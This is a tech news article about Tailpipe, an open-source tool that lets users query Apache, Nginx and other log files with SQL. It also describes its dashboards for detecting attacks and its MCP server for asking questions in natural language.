By using the expressiveness of the SQL language, TailPipe makes querying log files as easy as doing "select * from logs;".

In Steampipe - SQL For Everything we discovered a tool that renders SQL as the main query language for more than purely databases, cloud infrastructure included. Steampipe's underlying notion is that SQL has been the data access standard for decades, it levels the playing field, easily integrates with other systems and accelerates delivery. So why not leverage it for things other than the database, like querying APIs and Cloud services? Tailpipe follows along the same lines, this time by enabling SQL to query log files. 

So you have a few hundred Apache log files lying around and want to dig into them? You can now, intuitively, thanks to Tailpipe. For instance, want to find out the number of logs files there are?  Run aggregate sql on it like:

select count(*) from apache_access_logs

Here, apache_access_logs is a custom Tailpipe partition which groups all the log files in question.

Then, want to find out which requests gave http errors and specifically no. 400? Run:

Say, who has made the most requests and as such is responsible for the most traffic?

the list goes on. All info accessible from SQL.

Tailpipe is flexible in that it understands the format of your files by feeding it into its configuration, since your own custom formatting requirements might have diverged from the default Apache format. However, the Apache log standard is not the only one supported; Nginx, AWS S3, WAF traffic and more obscure formats are supported.

Tailpipe might be a game changer in digging easily into your files, but the convenience does not stop there.
You can by leveraging yet another tool, Powerpipe, visualize your Tailpipe logs partition. Starting Powperpipe's
server you are be able to look at your data through the eyes of a dashboard.

Nice and helpful but if you also add modules like Access Log Detection or OWASP Top 10, you can filter and identify which requests were targets of hacking attacks like XSS or RCE. For instance, the RCE panel shows the attempts of exploiting the Log4Shell vulnerability.

Needless to say, this detailed monitoring ability facilitates much faster response times in patching up any holes.

So, just take my money...What, it's free too? Yes Tailpipe is open source software, hosted on Github and plays
well with the rest of makers Turbot's tools of Powerpipe, Steampipe and Flowpipe. As such you can build it from source,
or download the CLI for various architectures.

The latest development however is that Tailpipe got its own MCP server, which means that you don't even have to use SQL anymore but instead can chat with your logs in natural language! So unlike the example above where you had to write SQL to express your intent in getting "the most requests and as such responsible for the most traffic? " you can now ask that directly and get the same result back. The MCP server acts like a Text-to-SQL translator.

While this could make the use of SQL not necessary, you still have to use it as a fall-back mechanism in case the LLM does not understand your query, gives back error prone results, or unoptimized queries.

Of course, under the covers Tailpipe is powered up by the beloved DuckDB's in-memory analytics and Parquet's optimized storage. Lesson time; familiarity with SQL goes a long way. Do not count out old tech in order to adopt the latest and shiniest; Old tech might be just timeless..

Saying that, I'm pretty impressed by Tailpipe's functionality and ease of use. It's a real game changer in the DevSecOps ecosystem. Now, I remember that I have some Spring Boot Tomcat logs lying around. Tailpipe let's go!

More Information

Tailpipe

Related Articles

Steampipe - SQL For Everything

To be informed about new articles on I Programmer, sign up for our weekly newsletter, subscribe to the RSS feed and follow us on Twitter, Facebook or Linkedin.

Comments

Make a Comment or View Existing Comments Using Disqus

or email your comment to: comments@i-programmer.info